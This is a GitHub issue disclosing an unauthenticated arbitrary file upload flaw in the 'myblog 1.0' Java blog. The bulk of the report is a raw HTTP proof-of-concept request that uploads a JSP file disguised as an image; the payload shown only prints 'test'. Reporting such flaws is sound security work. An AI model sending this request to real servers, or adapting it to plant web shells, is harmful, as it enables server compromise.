Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

myblog 1.0 has arbitrary File Upload #3

Open
LvZCh opened this issue Dec 26, 2024 · 0 comments
Open

myblog 1.0 has arbitrary File Upload #3

LvZCh opened this issue Dec 26, 2024 · 0 comments

Comments

@LvZCh
Copy link

LvZCh commented Dec 26, 2024

Source code name:myblog
Source code version:1.0
Source code download link:https://github.com/ZeroWdd/myblog/archive/refs/heads/master.zip

Code Audit:
In src/main/java/com/wdd/myblog/controller/admin/uploadController. java, the upload method does not process uploaded files, resulting in arbitrary file uploads
image

Vulnerability exploitation:
Directly send the following data packet without carrying cookies, upload JSP Trojan horse

POST /admin/upload/file HTTP/1.1
Host: 192.168.0.102:8080
Content-Length: 205
Cache-Control: max-age=0
Origin: http://192.168.0.102:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBA4mjuS2GAXES8VY
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.102:8080/admin/blogs/edit/4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryBA4mjuS2GAXES8VY
Content-Disposition: form-data; name="file"; filename="1.jsp"
Content-Type: image/jpeg

<% out.println("test"); %>
------WebKitFormBoundaryBA4mjuS2GAXES8VY--

image
image
You can also upload HTML files
image
image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant